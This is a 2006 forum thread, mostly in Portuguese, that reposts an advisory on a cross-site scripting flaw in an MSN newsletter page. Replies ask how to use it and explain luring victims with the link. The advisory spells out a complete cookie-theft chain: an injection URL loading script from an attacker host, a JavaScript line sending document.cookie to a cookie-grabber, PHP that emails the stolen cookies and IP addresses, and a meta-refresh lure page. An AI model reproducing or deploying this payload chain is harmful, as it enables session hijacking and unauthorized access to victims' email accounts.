Title: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: DarkGenesis on 11 de August , 2006, 12:29:10 PM
Post by: DarkGenesis on 11 de August , 2006, 12:29:10 PM
Code Select
Hotmail/MSN Cross Site Scripting Vulnerability
Author: Simo64
Contact: simo64_at_morx_dot_org
Discovered: 07/25/2006
Published: 08/10/2006
Vendor: MSN.com
Service: Hotmail.com Webmail Service
Vulnerability: Cross Site Scripting (Cookie-Theft)
Severity: Medium/High
Tested on: IE 6.0, firefox 1.5 and Opera (should work on all
browsers)
Morx Security Research Team
http://www.morx.org
Details:
newsletter.msn.com's insite.asp script is prone to cross-site scripting attacks. This problem is due to a failure in the
application to properly sanitize user-supplied input.
Impact:
an attacker can exploit the vulnerable script to have arbitrary script code executed in the browser of an authentified
msn user in the context of the msn webpage. resulting in the theft of cookie-based authentication giving the attacker3
temporary access to the victim's email account (until the cookie expires - about 24 hours) as well as other type of attacks.
Exploit:
http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=')></script><script src=http://attacker/redir.js>
Where redir.js code can be :
location.href='http://attacker-site/cookie-grabber.php?cookie='+escape(document.cookie)
and cookie-grabber.php can be:
<?
$cookie = $_GET['cookie'];
$ip = getenv("REMOTE_ADDR");
$msg = "Cookie: $cookie\nIP Address: $ip";
$subject = "cookie";
mail("your@email.org", $subject, $msg);
header ("location: http://attacker-site/some-pic.jpg");
?>
the attacker also would use an html file to redirect the victim to the xss location
as an example of that:
<meta http-equiv="refresh" content="0; url=http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=')></script><script src=http://attacker/redir.js>">
Disclaimer:
this entire document is for eductional, testing and demonstrating purpose only. Modification use and/or publishing this
information is entirely on your OWN risk. The information provided in this advisory is to be used/tested on your OWN
machine/Account. I cannot be held responsible for any of the above
Title: Re: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: Anonymous on 13 de August , 2006, 01:15:35 AM
Post by: Anonymous on 13 de August , 2006, 01:15:35 AM
O q esse explit faz 
me esplica ae !!!
vlw
me esplica ae !!!
vlw
Title: Re: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: DarkGenesis on 13 de August , 2006, 08:35:53 AM
Post by: DarkGenesis on 13 de August , 2006, 08:35:53 AM
Você rouba o Cookie da vitima e com uma Vulnerabilidade no Certificado da M$ voce poderá ter acesso ao e-mail dela por aproximadamente 24h até que os Cockies se expiram.
Title: Re: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: OnlyOne on 13 de August , 2006, 01:16:17 PM
Post by: OnlyOne on 13 de August , 2006, 01:16:17 PM
eliminar cookies e lei !!
Title: Re: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: Security on 19 de September , 2006, 12:59:38 AM
Post by: Security on 19 de September , 2006, 12:59:38 AM
Como usar ele?
alguem de me uma ajudinha pls..
flws x]
alguem de me uma ajudinha pls..
flws x]
Title: Re: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: insanity on 19 de September , 2006, 01:28:26 PM
Post by: insanity on 19 de September , 2006, 01:28:26 PM
Quote from: "Security"Como usar ele?
alguem de me uma ajudinha pls..
flws x]
Se você estive-se lido os comentarios, você não estaria perguntando isso...
ate mais
Title: Re: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: Security on 20 de September , 2006, 12:25:46 AM
Post by: Security on 20 de September , 2006, 12:25:46 AM
sou meio ruim no inglês :/
aonde posso aprender bem inglÊs
flws
aonde posso aprender bem inglÊs
flws
Title: Re: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: nizep on 20 de September , 2006, 09:01:45 PM
Post by: nizep on 20 de September , 2006, 09:01:45 PM
Quote from: "Security"sou meio ruim no inglês :/
aonde posso aprender bem inglÊs
flws
http://www.google.com.br/language_tools?hl=pt-BR (//http://www.google.com.br/language_tools?hl=pt-BR)
traduz ae velho
Title: Re: Hotmail/MSN Cross Site Scripting Vulnerability
Post by: rog on 21 de September , 2006, 12:25:28 AM
Post by: rog on 21 de September , 2006, 12:25:28 AM
interessante
vc manda a vitima clicar num link
http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=' (http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE='))>
vc manda a vitima clicar num link
http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE=' (http://newsletters.msn.com/xs-v3/insite.asp?CU=1&RE='))>